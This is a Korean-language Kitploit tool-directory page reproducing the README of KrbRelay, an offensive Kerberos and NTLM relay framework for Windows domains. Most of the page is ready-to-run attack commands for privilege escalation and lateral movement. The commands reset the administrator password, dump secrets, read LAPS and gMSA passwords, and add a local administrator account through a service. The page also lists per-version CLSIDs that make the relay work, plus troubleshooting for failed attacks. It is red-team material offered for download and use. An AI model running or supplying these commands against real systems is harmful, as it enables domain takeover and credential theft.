Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
KrbRelay — Windows 환경을 위한 Kerberos 릴레이 프레임워크로, LDAP, SMB, HTTP 및 RPC 프로토콜을 통해 인증 릴레이, 권한 상승, 측면 이동을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/cube0x0/krbrelay
Privilege EscalationExploitationLateral MovementAuthenticationRed Teaming
GitHubcube0x0/krbrelay

KrbRelay

Windows 환경을 위한 Kerberos 릴레이 프레임워크로, LDAP, SMB, HTTP 및 RPC 프로토콜을 통해 인증 릴레이, 권한 상승, 측면 이동을 가능하게 합니다.

저장소 보기
9531314년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

KrbRelay

세 머리 개를 릴레이합니다. 자세한 내용은 https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html 및 https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html 에서 확인하세요.

대부분의 완전히 패치된 Windows 시스템에서 작동합니다. 실험실 환경의 서버 OS에서는 방화벽이 OXID 리졸버를 차단하기 때문에 어려움이 있을 수 있지만, 실제 공격 상황에서는 문제가 되지 않을 가능성이 높습니다. CLSID도 마찬가지입니다.

image-20220213094644590

지원되는 프로토콜 및 기능

일부 프로토콜은 다른 프로토콜보다 더 완성도가 높습니다. PR은 환영합니다.

  • LLMNR
  • LDAP/LDAPS
  • HTTP
    • EWS
  • SMBv2
  • RPC over SMB
    • MS-SAMR
    • MS-SCMR
    • MS-RPRN
    • MS-RRP
    • MS-LSAT/MS-LSAD

예제

root@kitploit:~
# LPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred

# Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!

# Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate [email protected]
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182

# Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets 
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser "C:\windows\system32\cmd.exe /c """"C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add"""""

# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets

# NTLM (see https://github.com/antonioCoco/RemotePotato0 for CLSIDs)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm -downgrade

CheckPort.exe는 OXID 리졸버에 사용 가능한 포트를 검색하는 데 사용할 수 있는 C# 도구입니다.

root@kitploit:~
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] Port: 1024 is available

CLSIDs

네트워크를 통한 인증을 허용하는 프로세스 내에서 OBJREF를 역마샬링해야 합니다. 이는 Impersonation Level을 확인하여 검증할 수 있습니다.

  • RPC_C_IMP_LEVEL_DEFAULT # 작동하지 않음
  • RPC_C_IMP_LEVEL_ANONYMOUS # 작동하지 않음
  • RPC_C_IMP_LEVEL_IDENTIFY # LDAP에 작동
  • RPC_C_IMP_LEVEL_IMPERSONATE # SMB에 필요
  • RPC_C_IMP_LEVEL_DELEGATE

LDAP 또는 서명이 활성화되었지만 강제되지 않은 다른 서비스로 릴레이할 때는 프로세스의 Authentication Level이 RPC_C_AUTHN_LEVEL_CONNECT로 설정되어 있는지 확인해야 합니다.

NT Authority\Network service로 실행되는 프로세스는 네트워크를 통해 인증할 때 SYSTEM 계정을 사용합니다.

CLSID 검색 도구: https://github.com/tyranid/oleviewdotnet

root@kitploit:~
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel

Windows 10 1903

root@kitploit:~
# SYSTEM Relay
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE 

# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE 
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE 
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE 
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE 
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE 
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2019

root@kitploit:~
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Cross-Session Relay
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE 
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE 
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE 

Server 2016

root@kitploit:~
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE

오류 코드

처음에 작동하지 않나요? 다시 시도한 후 이 오류 코드를 확인하세요. 이슈를 열려면 전체 출력과 입력을 붙여넣어 주세요.

방화벽이 OXID 리졸버 차단

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)

잘못된 CLSID

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH))

또는

root@kitploit:~
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. (Exception from HRESULT: 0x80070422)

Kerberos 문제 (인증 유형 인식 안 됨), 재부팅/시계 동기화 후 작동

root@kitploit:~
System.Runtime.InteropServices.COMException (0x800706D3): The authentication service is unknown.

유효한 apReq는 0x60으로 시작합니다. 환경 및 매개변수를 확인하세요.

root@kitploit:~
[*] apReq: 05000b0710000000db003300020<SNIP>

CLSID 가장 수준 또는 인증 수준이 너무 낮음

root@kitploit:~
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: Access is denied.

Access is denied.

감사의 말

  • Vletoux 님, RPCForSMBLibrary를 시작해 주셔서 감사합니다.
  • James Forshaw님, Kerberos 릴레이 및 NtApiDotNet을 소개해 주셔서 감사합니다.
  • TalAloni님, SMBLibrary에 감사드립니다.
  • MichaelGrafnetter님, DSInternals에 감사드립니다.
  • Kevin Robertson님, Inveigh에 감사드립니다.
  • decoder_it님과 splinter_code님, RemotePotato0에 감사드립니다.
도구 다운로드